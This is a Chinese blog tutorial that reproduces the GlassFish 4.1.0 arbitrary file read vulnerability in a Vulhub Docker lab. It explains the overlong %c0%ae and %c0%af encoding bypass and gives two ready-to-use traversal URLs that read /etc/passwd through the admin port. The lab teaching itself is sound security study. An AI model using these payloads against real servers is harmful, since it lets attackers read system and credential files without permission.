今天继续给大家介绍渗透测试相关知识,本文主要内容是GlassFish 任意文件读取复现。
免责声明: 本文所介绍的内容仅做学习交流使用,严禁利用文中技术进行非法行为,否则造成一切严重后果自负! 再次强调:严禁对未授权设备进行渗透测试!
一、漏洞简介与环境搭建
Glassfish是一款JAVA编写的跨平台的开源应用服务器,GlassFish的任意文件读取漏洞主要是由于JAVA对Unicode的编码引起的。本来,GlassFish为了防止任意文件读取的漏洞,会过滤../的字符组合,但是,在JAVA语言中,会把%c0%ae解析为\uC0AE,并最后转义为ASCII字符的点号。这样,我们就可以利用%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/这样的组合来实现目录的向上跳跃,从而达到目录穿越、任意文件读取的目的。 此外,我们还可以利用JAVA语言将%c0%af编码成“/”的特点,构造..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af这样的组合来实现同样的效果。 为了复现GlassFish任意文件读取漏洞,我们使用Vulhub靶场,进入/vulhub-master/glassfish/4.1.0/目录下,执行命令:
docker-compose up -d
即可下载并开启该漏洞环境,该命令执行结果如下所示:
之后,执行命令:
docker-compose config
即可查看该Docker的配置信息,结果如下所示:
二、漏洞复现
接下来,我们就可以复现该漏洞了。 根据上述两种方式,我们都构造payload,实现对/etc/passwd文件的读取,payload如下所示:
https://192.168.136.13:4848/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/【要读取的文件】
或
https://192.168.136.13:4848/theme/META-INF/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af【要读取的文件】
访问该URL后,结果分别如下所示:
从以上结果可以看出,我们成功读取了指定文件,复现了GlassFish 任意文件读取漏洞。
原创不易,转载请说明出处:juejin.cn/user/216869…